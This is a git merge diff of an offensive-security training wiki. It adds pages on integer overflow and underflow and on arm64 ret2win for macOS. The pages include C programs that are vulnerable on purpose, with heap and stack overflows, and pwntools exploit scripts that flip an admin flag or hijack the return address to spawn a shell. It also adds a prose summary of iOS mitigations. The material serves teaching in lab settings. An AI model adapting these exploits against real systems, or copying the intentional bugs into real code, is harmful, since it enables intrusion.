Merge branch 'master' into research_update_src_generic-methodologies-and-resources_phishing-methodology_detecting-phising_20250904_082429

src/SUMMARY.md

@@ -785,7 +785,7 @@
   - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
 - [Array Indexing](binary-exploitation/array-indexing.md)
 - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
-- [Integer Overflow](binary-exploitation/integer-overflow.md)
+- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
 - [Format Strings](binary-exploitation/format-strings/README.md)
   - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
   - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -27,11 +27,11 @@ With so many techniques it's good to have a scheme when each technique will be u
 There are different was you could end controlling the flow of a program:
 
 - [**Stack Overflows**](../stack-overflow/index.html) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
-  - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
+  - Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow
 - Or via **Arbitrary Writes + Write What Where to Execution**
   - [**Format strings**](../format-strings/index.html)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
   - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
-    - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
+    - Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow
   - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
 
 You can find the **Write What Where to Execution** techniques in:

src/binary-exploitation/integer-overflow-and-underflow.md

@@ -0,0 +1,389 @@
+# Integer Overflow
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Basic Information
+
+At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
+
+For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
+
+Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
+
+Max values for common integer types:
+| Type           | Size (bits) | Min Value          | Max Value          |
+|----------------|-------------|--------------------|--------------------|
+| int8_t         | 8           | -128               | 127                |
+| uint8_t        | 8           | 0                  | 255                |
+| int16_t        | 16          | -32,768            | 32,767             |
+| uint16_t       | 16          | 0                  | 65,535            |
+| int32_t        | 32          | -2,147,483,648 | 2,147,483,647      |
+| uint32_t       | 32          | 0                  | 4,294,967,295      |
+| int64_t        | 64          | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
+| uint64_t       | 64          | 0                  | 18,446,744,073,709,551,615 |
+
+A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
+
+### Max values
+
+For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
+
+{{#tabs}}
+{{#tab name="Rust"}}
+
+```rust
+fn main() {
+
+    let mut quantity = 2147483647;
+
+    let (mul_result, _) = i32::overflowing_mul(32767, quantity);
+    let (add_result, _) = i32::overflowing_add(1, quantity);
+
+    println!("{}", mul_result);
+    println!("{}", add_result);
+}
+```
+
+{{#endtab}}
+
+{{#tab name="C"}}
+
+```c
+#include <stdio.h>
+#include <limits.h>
+
+int main() {
+    int a = INT_MAX;
+    int b = 0;
+    int c = 0;
+
+    b = a * 100;
+    c = a + 1;
+
+    printf("%d\n", INT_MAX);
+    printf("%d\n", b);
+    printf("%d\n", c);
+    return 0;
+}
+```
+
+{{#endtab}}
+{{#endtabs}}
+
+## Examples
+
+### Pure overflow
+
+The printed result will be 0 as we overflowed the char:
+
+```c
+#include <stdio.h>
+
+int main() {
+    unsigned char max = 255; // 8-bit unsigned integer
+    unsigned char result = max + 1;
+    printf("Result: %d\n", result); // Expected to overflow
+    return 0;
+}
+```
+
+### Signed to Unsigned Conversion
+
+Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
+
+```c
+#include <stdio.h>
+
+int main() {
+    int userInput; // Signed integer
+    printf("Enter a number: ");
+    scanf("%d", &userInput);
+
+    // Treating the signed input as unsigned without validation
+    unsigned int processedInput = (unsigned int)userInput;
+
+    // A condition that might not work as intended if userInput is negative
+    if (processedInput > 1000) {
+        printf("Processed Input is large: %u\n", processedInput);
+    } else {
+        printf("Processed Input is within range: %u\n", processedInput);
+    }
+
+    return 0;
+}
+```
+
+In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
+
+### macOS Overflow Example
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+
+/*
+ * Realistic integer-overflow → undersized allocation → heap overflow → flag
+ * Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
+ */
+
+__attribute__((noinline))
+void win(void) {
+    puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
+    puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
+    exit(0);
+}
+
+struct session {
+    int is_admin;           // Target to flip from 0 → 1
+    char note[64];
+};
+
+static size_t read_stdin(void *dst, size_t want) {
+    // Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
+    const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
+    size_t got = 0;
+
+    printf("Requested bytes: %zu\n", want);
+
+    while (got < want) {
+        size_t remain = want - got;
+        size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
+
+        ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
+        if (n > 0) {
+            got += (size_t)n;
+            continue;
+        }
+        if (n == 0) {
+            // EOF – stop; partial reads are fine for our exploit
+            break;
+        }
+        // n < 0: real error (likely EINVAL when chunk too big on some FDs)
+        perror("read");
+        break;
+    }
+    return got;
+}
+
+
+int main(void) {
+    setvbuf(stdout, NULL, _IONBF, 0);
+    puts("=== Bundle Importer (training) ===");
+
+    // 1) Read attacker-controlled parameters (use large values)
+    size_t count = 0, elem_size = 0;
+    printf("Entry count: ");
+    if (scanf("%zu", &count) != 1) return 1;
+    printf("Entry size: ");
+    if (scanf("%zu", &elem_size) != 1) return 1;
+
+    // 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
+    //    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
+    uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. 
+    /* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
+    Then, product32 = 0 
+    */
+    uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
+    printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
+
+    // 3) Allocate a single arena and lay out [buffer][slack][session]
+    //    This makes adjacency deterministic (no reliance on system malloc order).
+    const size_t SLACK = 512;
+    size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
+    unsigned char *arena = (unsigned char*)malloc(arena_sz);
+    if (!arena) { perror("malloc"); return 1; }
+    memset(arena, 0, arena_sz);
+
+    unsigned char *buf  = arena;  // In this buffer the attacker will copy data
+    struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
+    sess->is_admin = 0;
+    strncpy(sess->note, "regular user", sizeof(sess->note)-1);
+
+    printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
+           (void*)arena, (void*)buf, alloc32, (void*)sess,
+           ((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
+
+    // 4) Copy uses native size_t product (no truncation) → It generates an overflow
+    size_t to_copy = count * elem_size;                   // <-- Large size_t
+    printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
+
+    puts(">> Send bundle payload on stdin (EOF to finish)...");
+    size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
+    printf("[dbg] actually read = %zu bytes\n", got);
+
+    // 5) Privileged action gated by a field next to the overflow target
+    if (sess->is_admin) {
+        puts("[dbg] admin privileges detected");
+        win();
+    } else {
+        puts("[dbg] normal user");
+    }
+    return 0;
+}
+```
+
+Compile it with:
+
+```bash
+clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
+  -o int_ovf_heap_priv int_ovf_heap_priv.c
+```
+
+#### Exploit
+
+```python
+# exploit.py
+from pwn import *
+
+# Keep logs readable; switch to "debug" if you want full I/O traces
+context.log_level = "info"
+
+EXE = "./int_ovf_heap_priv"
+
+def main():
+    # IMPORTANT: use plain pipes, not PTY
+    io = process([EXE])  # stdin=PIPE, stdout=PIPE by default
+
+    # 1) Drive the prompts
+    io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
+    io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48
+
+    # 2) Wait until it’s actually reading the payload
+    io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
+
+    # 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
+    payload = b"A" * 48 + p32(1)
+
+    # 4) Send payload, THEN send EOF via half-close on the pipe
+    io.send(payload)
+    io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
+
+    # 5) Read the rest (should print admin + FLAG)
+    print(io.recvall(timeout=5).decode(errors="ignore"))
+
+if __name__ == "__main__":
+    main()
+```
+
+### macOS Underflow Example
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+
+/*
+ * Integer underflow -> undersized allocation + oversized copy -> heap overwrite
+ * Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
+ */
+
+__attribute__((noinline))
+void win(void) {
+    puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
+    puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
+    exit(0);
+}
+
+struct session {
+    int  is_admin;      // flip 0 -> 1
+    char note[64];
+};
+
+static size_t read_stdin(void *dst, size_t want) {
+    // Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
+    const size_t MAX_CHUNK = 1 << 20; // 1 MiB
+    size_t got = 0;
+    printf("[dbg] Requested bytes: %zu\n", want);
+    while (got < want) {
+        size_t remain = want - got;
+        size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
+        ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
+        if (n > 0) { got += (size_t)n; continue; }
+        if (n == 0) break;    // EOF: partial read is fine
+        perror("read"); break;
+    }
+    return got;
+}
+
+int main(void) {
+    setvbuf(stdout, NULL, _IONBF, 0);
+    puts("=== Packet Importer (UNDERFLOW training) ===");
+
+    size_t total_len = 0;
+    printf("Total packet length: ");
+    if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
+
+    const size_t HEADER = 16;
+
+    // **BUG**: size_t underflow if total_len < HEADER
+    size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
+    // If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
+    printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
+           total_len, HEADER, payload_len);
+
+    // Build a deterministic arena: [buf of total_len][16 gap][session][slack]
+    const size_t SLACK = 256;
+    size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
+    unsigned char *arena = (unsigned char*)malloc(arena_sz);
+    if (!arena) { perror("malloc"); return 1; }
+    memset(arena, 0, arena_sz);
+
+    unsigned char *buf  = arena;
+    struct session *sess = (struct session*)(arena + total_len + 16);
+    // The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
+    sess->is_admin = 0;
+    strncpy(sess->note, "regular user", sizeof(sess->note)-1);
+
+    printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
+           (void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
+
+    puts(">> Send payload bytes (EOF to finish)...");
+    size_t got = read_stdin(buf, payload_len);
+    // The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 
+    printf("[dbg] actually read = %zu bytes\n", got);
+
+    if (sess->is_admin) {
+        puts("[dbg] admin privileges detected");
+        win();
+    } else {
+        puts("[dbg] normal user");
+    }
+    return 0;
+}
+```
+
+Compile it with:
+
+```bash
+clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
+  -o int_underflow_heap int_underflow_heap.c
+```
+
+### Other Examples
+
+- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
+  - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
+- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
+
+  - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
+
+    ```
+    (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
+    ```
+
+- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
+  - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
+
+## ARM64
+
+This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
+
+{{#include ../banners/hacktricks-training.md}}
+
+
+

src/binary-exploitation/integer-overflow.md

@@ -1,126 +0,0 @@
-# Integer Overflow
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Basic Information
-
-At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
-
-For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
-
-Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
-
-### Max values
-
-For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
-
-{{#tabs}}
-{{#tab name="Rust"}}
-
-```rust
-fn main() {
-
-    let mut quantity = 2147483647;
-
-    let (mul_result, _) = i32::overflowing_mul(32767, quantity);
-    let (add_result, _) = i32::overflowing_add(1, quantity);
-
-    println!("{}", mul_result);
-    println!("{}", add_result);
-}
-```
-
-{{#endtab}}
-
-{{#tab name="C"}}
-
-```c
-#include <stdio.h>
-#include <limits.h>
-
-int main() {
-    int a = INT_MAX;
-    int b = 0;
-    int c = 0;
-
-    b = a * 100;
-    c = a + 1;
-
-    printf("%d\n", INT_MAX);
-    printf("%d\n", b);
-    printf("%d\n", c);
-    return 0;
-}
-```
-
-{{#endtab}}
-{{#endtabs}}
-
-## Examples
-
-### Pure overflow
-
-The printed result will be 0 as we overflowed the char:
-
-```c
-#include <stdio.h>
-
-int main() {
-    unsigned char max = 255; // 8-bit unsigned integer
-    unsigned char result = max + 1;
-    printf("Result: %d\n", result); // Expected to overflow
-    return 0;
-}
-```
-
-### Signed to Unsigned Conversion
-
-Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
-
-```c
-#include <stdio.h>
-
-int main() {
-    int userInput; // Signed integer
-    printf("Enter a number: ");
-    scanf("%d", &userInput);
-
-    // Treating the signed input as unsigned without validation
-    unsigned int processedInput = (unsigned int)userInput;
-
-    // A condition that might not work as intended if userInput is negative
-    if (processedInput > 1000) {
-        printf("Processed Input is large: %u\n", processedInput);
-    } else {
-        printf("Processed Input is within range: %u\n", processedInput);
-    }
-
-    return 0;
-}
-```
-
-In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
-
-### Other Examples
-
-- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-  - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
-- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-
-  - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
-
-    ```
-    (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
-    ```
-
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
-  - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
-
-## ARM64
-
-This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-

src/binary-exploitation/ios-exploiting.md

@@ -2,6 +2,20 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+## iOS Exploit Mitigations
+
+- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
+    - **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
+- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
+- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
+- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
+- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
+- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
+- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
+- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
+- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
+
+
 ## Physical use-after-free
 
 This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)

src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md

@@ -201,7 +201,286 @@ print(p.recvline())
 p.close()
 ```
 
-### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
+## macOS
+
+### Code
+
+```c
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+__attribute__((noinline))
+void win(void) {
+    system("/bin/sh"); // <- **our target**
+}
+
+void vulnerable_function(void) {
+    char buffer[64];
+    // **BOF**: reading 256 bytes into a 64B stack buffer
+    read(STDIN_FILENO, buffer, 256);
+}
+
+int main(void) {
+    printf("win() is at %p\n", win);
+    vulnerable_function();
+    return 0;
+}
+```
+
+Compile without canary (in macOS you can't disable PIE):
+
+```bash
+clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
+```
+
+Execute without ASLR (although as we have an address leak, we don't need it):
+
+```bash
+env DYLD_DISABLE_ASLR=1 ./bof_macos
+```
+
+> [!TIP]
+> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
+
+### Find the offset
+
+- Generate a pattern:
+
+```bash
+python3 - << 'PY'
+from pwn import *
+print(cyclic(200).decode())
+PY
+```
+
+- Run the program and input the pattern to cause a crash:
+
+```bash
+lldb ./bof_macos
+(lldb) env DYLD_DISABLE_ASLR=1
+(lldb) run
+# paste the 200-byte cyclic string, press Enter
+```
+
+- Check register `x30` (the return address) to find the offset:
+
+```bash
+(lldb) register read x30
+```
+
+- Use `cyclic -l <value>` to find the exact offset:
+
+```bash
+python3 - << 'PY'
+from pwn import *
+print(cyclic_find(0x61616173))
+PY
+
+# Replace 0x61616173 with the 4 first bytes from the value of x30
+```
+
+- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
+
+### Exploit
+
+```python
+#!/usr/bin/env python3
+from pwn import *
+import re
+
+# Load the binary
+binary_name = './bof_macos'
+
+# Start the process
+p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
+
+# Read the address printed by the program
+output = p.recvline().decode()
+print(f"Received: {output.strip()}")
+
+# Extract the win() address using regex
+match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
+if not match:
+    print("Failed to extract win() address")
+    p.close()
+    exit(1)
+
+win_address = int(match.group(1), 16)
+print(f"Extracted win() address: {hex(win_address)}")
+
+# Offset calculation:
+# Buffer starts at sp, return address at sp+0x40 (64 bytes)
+# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
+offset = 64 + 8  # 72 bytes total to reach the return address
+
+# Craft the payload - ARM64 addresses are 8 bytes
+payload = b'A' * offset + p64(win_address)
+print(f"Payload length: {len(payload)}")
+
+# Send the payload
+p.send(payload)
+
+# Drop to an interactive session
+p.interactive()
+```
+
+## macOS - 2nd example
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+__attribute__((noinline))
+void leak_anchor(void) {
+    puts("leak_anchor reached");
+}
+
+__attribute__((noinline))
+void win(void) {
+    puts("Killed it!");
+    system("/bin/sh");
+    exit(0);
+}
+
+__attribute__((noinline))
+void vuln(void) {
+    char buf[64];
+    FILE *f = fopen("/tmp/exploit.txt", "rb");
+    if (!f) {
+        puts("[*] Please create /tmp/exploit.txt with your payload");
+        return;
+    }
+    // Vulnerability: no bounds check → stack overflow
+    fread(buf, 1, 512, f);
+    fclose(f);
+    printf("[*] Copied payload from /tmp/exploit.txt\n");
+}
+
+int main(void) {
+    // Unbuffered stdout so leaks are immediate
+    setvbuf(stdout, NULL, _IONBF, 0);
+
+    // Leak a different function, not main/win
+    printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
+
+    // Sleep 3s
+    sleep(3);
+
+    vuln();
+    return 0;
+}
+```
+
+Compile without canary (in macOS you can't disable PIE):
+
+```bash
+clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
+```
+
+### Find the offset
+
+- Generate a pattern into the file `/tmp/exploit.txt`:
+
+```bash
+python3 - << 'PY'
+from pwn import *
+with open("/tmp/exploit.txt", "wb") as f:
+    f.write(cyclic(200))
+PY
+```
+
+- Run the program to cause a crash:
+
+```bash
+lldb ./bof_macos
+(lldb) run
+```
+
+- Check register `x30` (the return address) to find the offset:
+
+```bash
+(lldb) register read x30
+```
+
+- Use `cyclic -l <value>` to find the exact offset:
+
+```bash
+python3 - << 'PY'
+from pwn import *
+print(cyclic_find(0x61616173))
+PY
+# Replace 0x61616173 with the 4 first bytes from the value of x30
+```
+
+- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
+
+### Calculate the address of win()
+
+- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
+
+```bash
+objdump -d bof_macos | grep -E 'leak_anchor|win'
+
+0000000100000460 <_leak_anchor>:
+000000010000047c <_win>:
+```
+
+- The offset is `0x47c - 0x460 = 0x1c`
+
+### Exploit
+
+```python
+#!/usr/bin/env python3
+from pwn import *
+import re
+import os
+
+# Load the binary
+binary_name = './bof_macos'
+# Start the process
+p = process(binary_name)
+
+# Read the address printed by the program
+output = p.recvline().decode()
+print(f"Received: {output.strip()}")
+
+# Extract the leak_anchor() address using regex
+match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
+if not match:
+    print("Failed to extract leak_anchor() address")
+    p.close()
+    exit(1)
+leak_anchor_address = int(match.group(1), 16)
+print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
+
+# Calculate win() address
+win_address = leak_anchor_address + 0x1c
+print(f"Calculated win() address: {hex(win_address)}")
+
+# Offset calculation:
+# Buffer starts at sp, return address at sp+0x40 (64 bytes)
+# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
+offset = 64 + 8  # 72 bytes total to reach the return address
+
+# Craft the payload - ARM64 addresses are 8 bytes
+payload = b'A' * offset + p64(win_address)
+print(f"Payload length: {len(payload)}")
+
+# Write the payload to /tmp/exploit.txt
+with open("/tmp/exploit.txt", "wb") as f:
+    f.write(payload)
+
+print("[*] Payload written to /tmp/exploit.txt")
+
+# Drop to an interactive session
+p.interactive()
+```
+
+
+## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
 
 - If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
   - Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
@@ -210,7 +489,7 @@ p.close()
   - `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
   - `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
 
-### Running on non‑ARM64 hosts (qemu‑user quick tip)
+## Running on non‑ARM64 hosts (qemu‑user quick tip)
 
 If you are on x86_64 but want to practice AArch64:
 
@@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234'
 
 ### Related HackTricks pages
 
--
+
 {{#ref}}
 ../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
 {{#endref}}
--
+
+
 {{#ref}}
 ../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
 {{#endref}}

src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

@@ -4,12 +4,13 @@
 
 Find an introduction to arm64 in:
 
-
 {{#ref}}
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Code
+## Linux
+
+### Code
 
 ```c
 #include <stdio.h>
@@ -32,7 +33,7 @@ Compile without pie, canary and nx:
 clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
 ```
 
-## No ASLR & No canary - Stack Overflow
+### No ASLR & No canary - Stack Overflow
 
 To stop ASLR execute:
 
@@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c
 
